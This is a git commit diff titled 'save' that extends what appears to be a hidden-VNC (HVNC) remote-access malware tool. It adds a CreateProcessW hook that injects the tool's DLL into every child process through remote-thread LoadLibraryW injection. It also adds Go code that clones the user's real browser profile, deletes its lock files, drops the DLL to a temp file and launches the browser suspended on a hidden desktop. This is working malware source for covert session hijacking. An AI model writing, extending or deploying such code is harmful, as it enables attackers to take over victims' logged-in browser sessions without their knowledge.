save
This commit is contained in:
@@ -287,6 +287,21 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
|
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
|
||||||
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
|
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
|
||||||
|
|
||||||
|
typedef BOOL(WINAPI* pCreateProcessW)(
|
||||||
|
LPCWSTR lpApplicationName,
|
||||||
|
LPWSTR lpCommandLine,
|
||||||
|
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||||
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||||
|
BOOL bInheritHandles,
|
||||||
|
DWORD dwCreationFlags,
|
||||||
|
LPVOID lpEnvironment,
|
||||||
|
LPCWSTR lpCurrentDirectory,
|
||||||
|
LPSTARTUPINFOW lpStartupInfo,
|
||||||
|
LPPROCESS_INFORMATION lpProcessInformation
|
||||||
|
);
|
||||||
|
pCreateProcessW OriginalCreateProcessW = NULL;
|
||||||
|
static WCHAR g_DllPath[512] = { 0 };
|
||||||
|
|
||||||
// Helper function to check if path needs redirection
|
// Helper function to check if path needs redirection
|
||||||
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||||
if (!path || length == 0) return FALSE;
|
if (!path || length == 0) return FALSE;
|
||||||
@@ -698,6 +713,83 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
QueryFlags, FileName);
|
QueryFlags, FileName);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Inject the DLL into a child process via LoadLibraryW
|
||||||
|
static BOOL InjectDllIntoChild(HANDLE hProcess, const WCHAR* dllPath) {
|
||||||
|
SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);
|
||||||
|
|
||||||
|
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (!remoteMem) return FALSE;
|
||||||
|
|
||||||
|
SIZE_T written;
|
||||||
|
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
|
||||||
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
|
||||||
|
if (!k32) {
|
||||||
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pLoadLib = GetProcAddress(k32, "LoadLibraryW");
|
||||||
|
if (!pLoadLib) {
|
||||||
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)pLoadLib, remoteMem, 0, NULL);
|
||||||
|
if (!hThread) {
|
||||||
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
WaitForSingleObject(hThread, 10000);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI HookedCreateProcessW(
|
||||||
|
LPCWSTR lpApplicationName,
|
||||||
|
LPWSTR lpCommandLine,
|
||||||
|
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||||
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||||
|
BOOL bInheritHandles,
|
||||||
|
DWORD dwCreationFlags,
|
||||||
|
LPVOID lpEnvironment,
|
||||||
|
LPCWSTR lpCurrentDirectory,
|
||||||
|
LPSTARTUPINFOW lpStartupInfo,
|
||||||
|
LPPROCESS_INFORMATION lpProcessInformation
|
||||||
|
) {
|
||||||
|
BOOL wasSuspended = (dwCreationFlags & CREATE_SUSPENDED) != 0;
|
||||||
|
DWORD modifiedFlags = dwCreationFlags | CREATE_SUSPENDED;
|
||||||
|
|
||||||
|
BOOL result = OriginalCreateProcessW(
|
||||||
|
lpApplicationName, lpCommandLine,
|
||||||
|
lpProcessAttributes, lpThreadAttributes,
|
||||||
|
bInheritHandles, modifiedFlags,
|
||||||
|
lpEnvironment, lpCurrentDirectory,
|
||||||
|
lpStartupInfo, lpProcessInformation
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result && lpProcessInformation && g_DllPath[0] != L'\0') {
|
||||||
|
LogDebug(L"[CreateProcessW] Injecting DLL into child process");
|
||||||
|
if (!InjectDllIntoChild(lpProcessInformation->hProcess, g_DllPath)) {
|
||||||
|
LogDebug(L"[CreateProcessW] Child injection failed");
|
||||||
|
} else {
|
||||||
|
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!wasSuspended) {
|
||||||
|
ResumeThread(lpProcessInformation->hThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
// Install all hooks
|
// Install all hooks
|
||||||
void InstallNtApiHooks(LPVOID lpParameter) {
|
void InstallNtApiHooks(LPVOID lpParameter) {
|
||||||
// Use a global try-catch to prevent any crashes
|
// Use a global try-catch to prevent any crashes
|
||||||
@@ -723,6 +815,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
// Initialize to empty strings to prevent crashes
|
// Initialize to empty strings to prevent crashes
|
||||||
g_SearchString[0] = L'\0';
|
g_SearchString[0] = L'\0';
|
||||||
g_ReplacementString[0] = L'\0';
|
g_ReplacementString[0] = L'\0';
|
||||||
|
g_DllPath[0] = L'\0';
|
||||||
|
|
||||||
// Try to get configuration from environment variables
|
// Try to get configuration from environment variables
|
||||||
__try {
|
__try {
|
||||||
@@ -756,6 +849,18 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
LogDebugA("Environment variables not found, hooks disabled");
|
LogDebugA("Environment variables not found, hooks disabled");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Read DLL path for child process injection
|
||||||
|
WCHAR envDllPath[512] = { 0 };
|
||||||
|
DWORD dllPathLen = GetEnvironmentVariableW(L"RDI_DLL_PATH", envDllPath, 512);
|
||||||
|
if (dllPathLen > 0 && dllPathLen < 512) {
|
||||||
|
wcsncpy_s(g_DllPath, 512, envDllPath, dllPathLen);
|
||||||
|
g_DllPath[dllPathLen] = L'\0';
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebug(L"[ENV] DLL path for child injection: ");
|
||||||
|
LogDebug(g_DllPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
@@ -851,6 +956,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
|
||||||
|
if (k32) {
|
||||||
|
FARPROC pCreateProcessW = GetProcAddress(k32, "CreateProcessW");
|
||||||
|
if (pCreateProcessW) {
|
||||||
|
MH_CreateHook(pCreateProcessW, &HookedCreateProcessW, (LPVOID*)&OriginalCreateProcessW);
|
||||||
|
MH_EnableHook(pCreateProcessW);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked CreateProcessW");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
g_HooksInitialized = TRUE;
|
g_HooksInitialized = TRUE;
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
LogDebugA("=== All hooks installed successfully ===");
|
LogDebugA("=== All hooks installed successfully ===");
|
||||||
|
|||||||
@@ -162,6 +162,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
}
|
}
|
||||||
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
|
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
|
||||||
|
|
||||||
|
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
|
||||||
|
lp := filepath.Join(cloneDir, lockFile)
|
||||||
|
if err := os.Remove(lp); err == nil {
|
||||||
|
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -598,11 +605,18 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
|||||||
return fmt.Errorf("empty DLL bytes")
|
return fmt.Errorf("empty DLL bytes")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dllTmpPath, err := writeDLLToTemp(dllBytes)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to write DLL to temp: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc inject: DLL written to %s for child injection", dllTmpPath)
|
||||||
|
|
||||||
enableDebugPrivilege()
|
enableDebugPrivilege()
|
||||||
|
|
||||||
// Create the process suspended on the HVNC desktop
|
// Create the process suspended on the HVNC desktop
|
||||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
|
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
os.Remove(dllTmpPath)
|
||||||
return fmt.Errorf("failed to create suspended process: %v", err)
|
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||||
@@ -635,7 +649,21 @@ func terminateProcess(hProcess uintptr) {
|
|||||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
func writeDLLToTemp(dllBytes []byte) (string, error) {
|
||||||
|
f, err := os.CreateTemp("", "hvnc_rdi_*.dll")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if _, err := f.Write(dllBytes); err != nil {
|
||||||
|
f.Close()
|
||||||
|
os.Remove(f.Name())
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
f.Close()
|
||||||
|
return f.Name(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||||
@@ -662,7 +690,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (
|
|||||||
si.dwY = 0
|
si.dwY = 0
|
||||||
si.dwFlags = STARTF_USEPOSITION
|
si.dwFlags = STARTF_USEPOSITION
|
||||||
|
|
||||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
|
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, dllTmpPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
||||||
}
|
}
|
||||||
@@ -689,11 +717,14 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (
|
|||||||
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
|
func buildEnvironmentBlock(searchPath, replacePath, dllTmpPath string) ([]uint16, error) {
|
||||||
envStrings := syscall.Environ()
|
envStrings := syscall.Environ()
|
||||||
|
|
||||||
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
||||||
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
||||||
|
if dllTmpPath != "" {
|
||||||
|
envStrings = append(envStrings, "RDI_DLL_PATH="+dllTmpPath)
|
||||||
|
}
|
||||||
|
|
||||||
var block []uint16
|
var block []uint16
|
||||||
for _, s := range envStrings {
|
for _, s := range envStrings {
|
||||||
|
|||||||
Reference in New Issue
Block a user